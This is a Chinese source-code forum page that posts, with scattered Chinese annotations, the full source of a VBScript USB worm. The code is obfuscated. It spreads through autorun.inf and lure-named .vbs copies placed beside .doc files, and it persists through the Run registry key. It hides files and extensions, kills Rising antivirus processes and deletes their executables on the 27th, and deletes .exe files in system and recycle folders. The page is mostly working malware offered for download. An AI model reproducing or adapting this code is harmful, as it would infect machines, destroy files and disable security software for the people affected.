CXYVIP官网源码交易平台_网站源码_商城源码_小程序源码平台-丞旭猿论坛
CXYVIP官网源码交易平台_网站源码_商城源码_小程序源码平台-丞旭猿论坛
CXYVIP官网源码交易平台_网站源码_商城源码_小程序源码平台-丞旭猿论坛

vbs病毒源文件

02310
rem vbs.rhl

Dim fs,r,ss,w,reg,regpath,dvbs
ddd=”Set fs =” &chr(67) & “reate” & “Obj” & chr(101) & “c” & chr(116) & chr(40) & chr(34) & “Scrip” & chr(116) & “ing.File” & chr(83) & “yste” &chr(109) & chr(79) & “bject” & chr(34) & chr(41)
Execute ddd
rrr=”set r =” &chr(119) & “scri” & “pt.” &chr(67) & “reate” & “Obj” & chr(101) & “c” & chr(116) & chr(40) & chr(34) & chr(119) & “scri” & “pt.” &chr(115) & “he” & chr(108) & chr(108) & chr(34) & chr(41)
Execute rrr
sss=”fs.” & chr(103) &”etfil” & chr(101) & chr(40) &chr(119) & “scri” & “pt.” & “scri” & chr(112) & “tfull” &chr(110) & “ame” & chr(41)
ttt=”set dvbs =” & sss
Execute ttt
r.run (fs.GetSpecialFolder(0)&”explorer.exe .”)
main() 
On Error Resume Next
sub main()
regtime()
finddrive()
countdrive(ss)
regwrite()
ganranfile(ss)
xunhuan()
end sub   
Function finddrive() 
if dvbs.name=”USBDRIVE.dll” then
regwrite()
ganrandisk()
end if
if dvbs.name<>”autorun.vbs” and dvbs.name<>”USBDRIVE.dll” then
regwrite()
dvbs.delete(true)
end if
ss=Trim(“”)
Set dc = fs.Drives
For Each d In dc
If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then 
ss = ss & d.DriveLetter 
end if
Next
ss = StrReverse(LCase(Trim(ss))) 
end Function
Function countdrive(ss)
On Error Resume Next
dim x
For i = 1 To Len(ss) 
x = Mid(ss, i, 1) 
if x=”” then
x=Mid(ss, 1, 1)
i=1
end if
Set w = fs.GetDrive(x)
ganrandiskroot()
Next
end Function
Function ganrandiskroot()
dim c,s,f,vbc,ts,runreg
On Error Resume Next
If w.DriveType=2 or w.DriveType=1 and w.IsReady Then
If fs.FileExists(fs.GetSpecialFolder(1) & “USBDRIVE.dll”) Then
else
fff=sss & “.copy(” & chr(34) & fs.GetSpecialFolder(1) & “USBDRIVE.dll” &chr(34) & “)”
Execute fff
If fs.FileExists(fs.GetSpecialFolder(1) & “USBDRIVE.dll”) Then
else
fff=sss & “.copy(” & chr(34) & “D:System Volume InformationUSBDRIVE.dll” &chr(34) & “)”
Execute fff
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
Set ts = fs.CreateTextFile(w.DriveLetter & “:vbs.reg”, true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:vbs.reg”)
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & “:doc.reg”,true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:doc.reg”)
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & “:autorun.vbs”) Then
Set c = fs.opentextfile(w.DriveLetter & “:autorun.vbs”, 1)
vbc = c.readall
If InStr(vbc,”vbs.rhl”) <> 0 Then
c.Close
Else
c.Close
Set c = fs.GetFile(w.DriveLetter & “:autorun.vbs”)
c.delete(true)
fff=sss & “.copy(” & chr(34) & w.DriveLetter & “:autorun.vbs” &chr(34) & “)”
Execute fff
s=Array(“2007总结病毒”,”这是病毒”,”违纪病毒”,”检查病毒”,”黑名单病毒”,”没有发出的病毒”,”恋爱的病毒（病毒）”)
Randomize    
i= Int((6 * Rnd) + 1) 
fff=sss & “.copy(” & chr(34) & w.DriveLetter & “:” & s(i) & “.vbs” &chr(34) & “)”
Execute fff
Set b = fs.GetFile(w.DriveLetter & “:” & s(i) & “.vbs”)
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & “:autorun.vbs”)
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & “:vbs.reg”) or fs.FileExists(w.DriveLetter & “:doc.reg”) Then
else
if w.DriveLetter=”C” then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & “vbs.reg”, true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & “vbs.reg”)
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & “doc.reg”)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & “doc.reg”)
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & “:vbs.reg”,true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:vbs.reg”)
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & “:doc.reg”,true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:doc.reg”)
f.attributes=f.attributes+7
end if
end if
end if
else
fff=sss & “.copy(” & chr(34) & w.DriveLetter & “:autorun.vbs” &chr(34) & “)”
Execute fff
s=Array(“检查病毒”,”2007总结病毒”,”违纪病毒”,”这是病毒”,”黑名单”,”没有发出的病毒”,”恋爱的病毒（病毒）”)
Randomize    
i= Int((6 * Rnd) + 1) 
fff=sss & “.copy(” & chr(34) & w.DriveLetter & “:” & s(i) & “.vbs” &chr(34) & “)”
Execute fff
Set b = fs.GetFile(w.DriveLetter & “:” & s(i) & “.vbs”)
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & “:autorun.vbs”)
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & “:vbs.reg”) or fs.FileExists(w.DriveLetter & “:doc.reg”) Then
else
if w.DriveLetter=”C” then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & “vbs.reg”, true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & “vbs.reg”)
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & “doc.reg”)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & “doc.reg”)
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & “:vbs.reg”, true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:vbs.reg”)
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & “:doc.reg”,true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & “:doc.reg”)
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & “:autorun.inf”) Then
Set c = fs.opentextfile(w.DriveLetter & “:autorun.inf”, 1)
vbc = c.readall
If InStr(vbc,”WScript.exe .autorun.vbs”) <> 0 Then
c.Close
Else
Set f = fs.GetFile(w.DriveLetter & “:autorun.inf”)
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine “[AutoRun]” 
ts.WriteLine “open= ”
ts.WriteLine “”
ts.WriteLine “shellopen=打开(&O) ”
ts.WriteLine “shellopenCommand=WScript.exe .autorun.vbs” 
ts.WriteLine “shellopenDefault=1 ”
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(w.DriveLetter & “:autorun.inf”,true)
ts.WriteLine “[AutoRun]” 
ts.WriteLine “open= ”
ts.WriteLine “”
ts.WriteLine “shellopen=打开(&O) ”
ts.WriteLine “shellopenCommand=WScript.exe .autorun.vbs”
ts.WriteLine “shellopenDefault=1”
ts.close
Set f = fs.GetFile(w.DriveLetter & “:autorun.inf”)
f.attributes=f.attributes+7
End If
end if
end Function
Function regwrite()
On Error Resume Next
dim s
a1=”HKE” & “Y_CUR” & “RENT_US” & “ERSoft” & “wareMi” & “croso” & “ftWin” & “dowsCur” & “rentV” & “ersionExp” & “lorerAd” & “vanced” （a1= HKEY_CURRENT_USERSoftwareMicroso ftWindowsCurrentVersionExplorerAdvanced
a2=”HK”&”EY_CLAS”&”SES_RO” & “OTDLL” & “File”  （a2=HKEY_CLASSES_ROOTDLLFile）
a3=”HKEY” & “_LOCA” & “L_MACH” & “INESOFT” & “WAREMi” & “cros” & “oftWin” & “dowsCur” & “rentVer” & “sionpoli” & “ciesExpl” & “orerNoDr” & “iveTypeAutoRun”
（a3=HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorerNoDriveTypeAutoRun）
a4=”HKE” & “Y_CURR” & “ENT_USE” & “RSoftw” & “areMicr” & “osoftWi” & “ndowsCur” & “rentVersi” & “onPolici” & “esExplor” & “erNoDriveT” & “ypeAutoRun”
（a4=HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDriveTypeAutoRun）
a5=”HK” & “EY_LO” & “CAL_MA” & “CHINESof” & “twareMi” & “croso” & “ftWind” & “owsCurre” & “ntVersi” & “onRu” & “nUSBDR” & “IVE.dll”
(a5=HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunUSBDRIVE.dll)
a6=”R.Re” & “gWri” & chr(116) & “e”                  (a6=R.RegWrichr(116) e)
a7=”HKE” & “Y_CLAS” & “SES_ROO” & “TVBSF” & “ileDefau” & “ltIcon”
(a7=HKEY_CLASSES_ROOTVBSFileDefaultIcon)
set s=fs.GetDrive(fs.GetDriveName(dvbs.path))  
scandoc(fs.GetSpecialFolder(0) & “Installer”)
if reg=”wordicon.exe” then
if s=”C:” then
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & “D:System Volume Informationdoc.reg”)
else
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & fs.GetSpecialFolder(1) & “doc.reg”)
end if
else
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & “D:System Volume Informationdoc.reg”)
else
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & s.DriveLetter & “:doc.reg”)
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&”,” &chr(34)&regpath & “,1″&chr(34)
Execute ppp
else
if s=”C:” then
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & “D:System Volume Informationvbs.reg”)
else
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & fs.GetSpecialFolder(1) & “vbs.reg”)
end if
else
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & “D:System Volume Informationvbs.reg”)
else
r.run(fs.GetSpecialFolder(1) & “dllcacheregedit.exe /s” & Space(3) & s.DriveLetter & “:vbs.reg”)
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&”,” &chr(34)&fs.GetSpecialFolder(1) & “shell32.dll,1″&chr(34)
Execute ppp
end if
ppp=a6&Space(2)&chr(34) & a1 & “ShowSuperHidden” &chr(34)& “,” & “0,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & “HideFileExt” &chr(34)& “,” & “1,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & “Hidden” &chr(34)& “,” & “0,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & “ScriptEngine” &chr(34)& “,” & chr(34)&”VBScript” & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & “ScriptHostEncode” &chr(34)& “,” & chr(34)&”{85131631-480C-11D2-B1F9-00C04F86C324}” & chr(34)
Execute ppp
ppp=a6&Space(1)&chr(34) & a2 & “ShellOpenCommand” &chr(34)& “,” & chr(34)&fs.GetSpecialFolder(1) &”Wscript.exe” &Space(1)& chr(34) &chr(34) &”%1″&chr(34) & chr(34) &Space(1)& “%*”  & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & “ShellExPropertySheetHandlersWSHProps” &chr(34)& “,” & chr(34)&”{60254CA5-953B-11CF-8C96-00AA00B8708C}” & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a3 & chr(34)&”,” & “0,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a4 & chr(34)&”,” & “0,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp
if fs.FileExists(“D:System Volume InformationUSBDRIVE.dll”) Then
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& “,” & chr(34)& “D:System Volume Information” & “USBDR” & “IVE.dll” & chr(34)
Execute ppp
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& “,” & chr(34)&fs.GetSpecialFolder(1)&”USBDR” & “IVE.dll” & chr(34)
Execute ppp
end if
if day(date())=”27″ then                                                   （27号报告错误）
msgbox “小样！你的杀毐软件该升级了，磁盘已被格式化”
End If
end Function
Function scandoc(a)                                                       （定义子函数）
On Error Resume Next                                                      （出错不报告）
dim files,file,subfolder,folder_
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files             (for each。。。next   对数组或集合中的每个元素重复执行一组语句)
if file.name =”wordicon.exe” then
reg=file.name
regpath=file.path
exit Function
end if
next                                                                 （for each 的next）
set subfolders=folder_.subfolders                                       (set  是一个赋值语句)
for each subfolder in subfolders 
scandoc(subfolder) 
next  
end Function                                                        （结束子程序的定义）
Function regtime()                                   (定义一个子程序添加注册表，结束瑞星)
a6=”R.Re” & “gWri” & chr(116) & “e”               （a6= R.RegWri chr(116)e  chr（116）是值）
a8=”HKE”&”Y_CUR” & “RENT_US” & “ERSoft” & “wareMicr” & “osoftWin” & “dows Scr” &”iptingHo”&”stSettin”&”gsTimeou                  （a8=注册表HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout）
ppp=a6&Space(2)&chr(34) & a8 &chr(34)& “,” & “0,” & chr(34)&”REG_DWORD”&chr(34)
Execute ppp                                          （对指定的字符串执行正则表达式搜索）
dim NameorPID
kill=Array(“RavMon.exe”,”RavTask.exe”,”RavStub.exe”,”RavMond.exe”,”RsAgent.exe”)
for i=0 to 4
KillProcess(kill(i))                                                     （结束4个瑞星程序）
next
end Function                                                           （结束这个子程序）
Function ganranfile(aa)                                                   （定义一个子程序）
On Error Resume Next                                                       （出错不报告）
dim x
For i = 1 To Len(aa)          （len函数  返回字符串内字符的数目，或是存储一变量所需的字节数）
x = Mid(aa, i, 1)             （mid函数  从字符串中返回指定数目的字符。这里是一个个返回给X）
if x=”” then
x=Mid(aa, 1, 1)
i=1
end if
Set x = fs.GetDrive(x) 
if x.IsReady then
scan(x)
else
xunhuan()
end if
Next
end Function                                                    （结束本子程序，作用不明）
Function scan(x)                                                 （定义子程序   scan(a)  ）
On Error Resume Next                                             ( 出错不报告 )
dim files,file,subfolder,folder_
set folder_=fs.getfolder(x) 
set files=folder_.files 
for each file in files
s=file.path
ext=fs.GetExtensionName(file) 
ext=lcase(ext)                                        （  lcase函数   返回字符串的小写形式）
if ext=”doc” then 
fff=sss & “.copy(“&chr(34) & mid(s,1,len(s)-3) & “vbs” &chr(34) & “)”    （fff是sss.copy加几个字符
怀疑这个几个字符组成一个文件名）
Execute fff
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scan(subfolder) 
next 
end Function
Function ganrandisk() 
On Error Resume Next
regwrite()
dim doc, d, s, coun,w,h,oo
  Set doc = fs.Drives
for each k in doc
if k.IsReady then
h=h & k.DriveLetter
end if
next
t1=len(Trim(h))
coun=doc.count
do while coun>0
oo=h & w
clearinfo(oo)
wscript.sleep 50
Set d = fs.Drives
if d.count>coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim(“”)
t1=len(t)
end if
if d.count<coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
s=trim(“”)
t1=len(t)
end if
loop
end Function
Function xunhuan()
On Error Resume Next
dim sfo
set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path)) 
if dvbs.name=”autorun.vbs” or dvbs.name=”USBDRIVE.dll” then
if sfo.DriveType=2 then 
ganrandisk() 
else
wscript.quit
end if
else
dvbs.delete(true)
end if
end Function

Function clearinfo(oo)
On Error Resume Next
dim dc,z
oo =LCase(Trim(oo))
For m = 1 To Len(oo) 
z = Mid(oo, m, 1) 
Set z = fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter & “:recycled”,z.DriveLetter & “:System Volume Information”)
for i= 0 to 1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)& “recycled”,fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&”system”)
for i=0 to 2
scanexe(vir(i))
next
end Function 
Function scanexe(a)
wscript.sleep 100
On Error Resume Next
dim files,file,folder_
if fs.FolderExists(a) then
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files
ext=fs.GetExtensionName(file) 
ext=lcase(ext) 
if ext=”exe” then 
Set f = fs.GetFile(file)
f.delete(true)
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scanexe(subfolder) 
next 
end if
end Function
Function findinf(z)
On Error Resume Next
If fs.FileExists(fs.GetSpecialFolder(1) & “USBDRIVE.dll”) Then
else
fff=sss & “.copy(” & chr(34) & fs.GetSpecialFolder(1) & “USBDRIVE.dll” &chr(34) & “)”
Execute fff
If fs.FileExists(fs.GetSpecialFolder(1) & “USBDRIVE.dll”) Then
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& “,” & chr(34)& “D:System Volume Information” & “USBDR” & “IVE.dll” & chr(34)
Execute ppp
end if
end if
If fs.FileExists(z.DriveLetter & “:autorun.vbs”) Then
else
fff=sss & “.copy(” & chr(34) & z.DriveLetter & “:autorun.vbs” &chr(34) & “)”
Execute fff
Set f = fs.GetFile(z.DriveLetter & “:autorun.vbs”)
f.attributes=f.attributes+7
end if
If fs.FileExists(z.DriveLetter & “:autorun.inf”) Then
Set c = fs.opentextfile(z.DriveLetter & “:autorun.inf”, 1)
vbc = c.readall
If InStr(vbc,”WScript.exe .autorun.vbs”) <> 0 Then
c.Close
Else
Set f = fs.GetFile(z.DriveLetter & “:autorun.inf”)
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine “[AutoRun]”                                    （以下建立自动播放文件） 
ts.WriteLine “open= ”
ts.WriteLine “”
ts.WriteLine “shellopen=打开(&O) ”
ts.WriteLine “shellopenCommand=WScript.exe .autorun.vbs” 
ts.WriteLine “shellopenDefault=1 ”
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(z.DriveLetter & “:autorun.inf”,true)
ts.WriteLine “[AutoRun]” 
ts.WriteLine “open= ”
ts.WriteLine “”
ts.WriteLine “shellopen=打开(&O) ”
ts.WriteLine “shellopenCommand=WScript.exe .autorun.vbs”
ts.WriteLine “shellopenDefault=1”
ts.close
Set f = fs.GetFile(z.DriveLetter & “:autorun.inf”)
f.attributes=f.attributes+7
End If
if fs.FileExists(z.DriveLetter & “:vbs.reg”) then
else
Set ts = fs.CreateTextFile(z.DriveLetter & “:vbs.reg”, true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”文本文件”& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & “:vbs.reg”)
f.attributes=f.attributes+7
end if
if fs.FileExists(z.DriveLetter & “:doc.reg”) then
else
Set ts = fs.CreateTextFile(z.DriveLetter & “:doc.reg”,true)
ts.WriteLine “Windows Registry Editor Version 5.00”
ts.WriteLine “[HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache]”
ts.WriteLine chr(34) & chr(64) & “C:\WINDOWS\System32\wshext.dll,-4802″&chr(34) & “=” & chr(34)&”Microsoft Word 文档”& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & “:doc.reg”)
f.attributes=f.attributes+7
end if
end Function

Function KillProcess(NameorPID)
On Error Resume Next
    Dim oWMI, oProcs, oProc, strSQL
    KillProcess = False
    strSQL = “SELECT * FROM Win32_Process”
    If NameOrPID <> “” Then
        If IsNumeric(NameOrPID) Then
            strSQL = strSQL & ” WHERE Handle = ‘” & NameorPID & “‘”
        Else
            strSQL = strSQL & ” WHERE Name = ‘” & NameorPID & “‘”
        End If
    End If
    Set oWMI = GetObject(“winmgmts:\.rootcimv2”)
    Set oProcs = oWMI.ExecQuery(strSQL)
    For Each oProc In oProcs
        If IsNumeric(NameOrPID) Then
            oProc.Terminate
            KillProcess = True
        Else
            oProc.Terminate
if day(date())=”27″ then
       set killfile=fs.getfile( oProc.ExecutablePath)
killfile.delete(true)
        End If
end if
    Next
    Set oProc = Nothing
    Set oProcs = Nothing
    Set oWMI = Nothing
End Function

以上就是【vbs病毒源文件】的全部内容了,欢迎留言评论进行交流!

© 版权声明
1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！邮箱：cxysz1@tom.com
2. 分享目的仅供大家学习和交流，您必须在下载后24小时内删除！
3. 不得使用于非法商业用途，不得违反国家法律。否则后果自负！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！
5. 如有链接无法下载、失效或广告，请联系管理员处理！
6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！
7. 如遇到加密压缩包，请使用WINRAR解压,如遇到无法解压的请联系管理员！
8. 精力有限，不少源码未能详细测试（解密），不能分辨部分源码是病毒还是误报，所以没有进行任何修改，大家使用前请进行甄别
丞旭猿论坛
THE END
技术文档
喜欢就支持一下吧
点赞0赞赏 分享
丞旭猿的头像-丞旭猿合伙人
创维e900机顶盒使用手册（干货满满）创维e900机顶盒配置，山东联通版创维E900V21C盒子刷入Armbiam并安装宝塔和Docker，-丞旭猿
创维e900机顶盒使用手册（干货满满）创维e900机顶盒配置，山东联通版创维E900V21C盒子刷入Armbiam并安装宝塔和Docker，
创维e900机顶盒使用手册（干货满满）创维e900机顶盒配置，山东联通版...
2年前 5400
2022年最新wordpress主题破解版本Zibll子比主题V6.5最新完美破解版 全网首发 丞旭猿站长亲测-丞旭猿
2022年最新wordpress主题破解版本Zibll子比主题V6.5最新完美破解版 全网首发 丞旭猿站长亲测
2022年最新wordpress主题破解版本Zibll子比主题V6.5最新完美破解版 ...
2年前 3450
java开发智慧停车场源码免费下载SpringBoot+Vue智能停车场管理平台源码-丞旭猿
java开发智慧停车场源码免费下载SpringBoot+Vue智能停车场管理平台源码
java开发智慧停车场源码免费下载SpringBoot+Vue智能停车场管理平台源...
2年前 3388
SpringBoot生产制造执行MES系统源码 MES源码-丞旭猿
SpringBoot生产制造执行MES系统源码 MES源码
SpringBoot生产制造执行MES系统源码 MES源码
1年前 3139
源码免费下载2022最新彩虹易支付系统二开版本带教程支付系统源码-丞旭猿
源码免费下载2022最新彩虹易支付系统二开版本带教程支付系统源码
源码免费下载2022最新彩虹易支付系统二开版本带教程支付系统源码
2年前 3110
discuzq使用教程（墙裂推荐）discuz，Discuz! Q 使用宝塔安装的最全教程（2020年5月更新），-丞旭猿
discuzq使用教程（墙裂推荐）discuz，Discuz! Q 使用宝塔安装的最全教程（2020年5月更新），
discuzq使用教程（墙裂推荐）discuz，Discuz! Q 使用宝塔安装的最全...
2年前 3013
相关推荐
apache免费开源许可证（这都可以？）apache license 2.0 开源协议，中国开源创企调查：Apache 2.0 许可证是最大赢家，丞旭猿免费源码交易平台，-丞旭猿
apache免费开源许可证（这都可以？）apache license 2.0 开源协议，中国开源创企调查：Apache 2.0 许可证是最大赢家，丞旭猿免费源码交易平台，
apache免费开源许可证（这都可以？）apache license 2.0 开源协议，中国开源创企调查：Apache 2....
1年前 585
河北省邢台市计划生育网上办事大厅（这都可以）河北省邢台市有多少个县，河北省邢台市统战部门开展“乡情招商”，开源平台，-丞旭猿
河北省邢台市计划生育网上办事大厅（这都可以）河北省邢台市有多少个县，河北省邢台市统战部门开展“乡情招商”，开源平台，
河北省邢台市计划生育网上办事大厅（这都可以）河北省邢台市有多少个县，河北省邢台市统战部门开...
1年前 760
双甘膦厂家排名（燃爆了）双甘膦龙头企业，规范 全球最大的双甘膦供应商,产能为15万吨/年,利润率达46%,股价仅3，免费源码交易平台，-丞旭猿
双甘膦厂家排名（燃爆了）双甘膦龙头企业，规范 全球最大的双甘膦供应商,产能为15万吨/年,利润率达46%,股价仅3，免费源码交易平台，
双甘膦厂家排名（燃爆了）双甘膦龙头企业，规范 全球最大的双甘膦供应商,产能为15万吨/年,利润率...
1年前 596
纳米比亚独立事件（全程干货）纳米比亚与美国关系，纳米比亚在其附近海域发现美国“间谍船”？ 中方：美国是全球最大的监控、侦察国家，开源平台，-丞旭猿
纳米比亚独立事件（全程干货）纳米比亚与美国关系，纳米比亚在其附近海域发现美国“间谍船”？ 中方：美国是全球最大的监控、侦察国家，开源平台，
纳米比亚独立事件（全程干货）纳米比亚与美国关系，纳米比亚在其附近海域发现美国“间谍船”？ ...
1年前 399
中国房企境外融资排名（万万没想到）中国房企境外融资规模，房企融资迎新变化 境外债“开门红”后担忧仍在，源码交易平台，-丞旭猿
中国房企境外融资排名（万万没想到）中国房企境外融资规模，房企融资迎新变化 境外债“开门红”后担忧仍在，源码交易平台，
中国房企境外融资排名（万万没想到）中国房企境外融资规模，房企融资迎新变化 境外债“开门红”...
1年前 702
大足2021新项目建设（满满干货）大足区2021年怎么发展规划建设，大足 加快做优做强园区景区城区发展平台，免费源码交易平台，-丞旭猿
大足2021新项目建设（满满干货）大足区2021年怎么发展规划建设，大足 加快做优做强园区景区城区发展平台，免费源码交易平台，
大足2021新项目建设（满满干货）大足区2021年怎么发展规划建设，大足 加快做优做强园区景区城区...
1年前 669
评论 抢沙发
头像
欢迎您留下宝贵的见解！
提交
头像

昵称

取消
昵称

请填写用户信息：

  • 昵称
  • 邮箱
表情
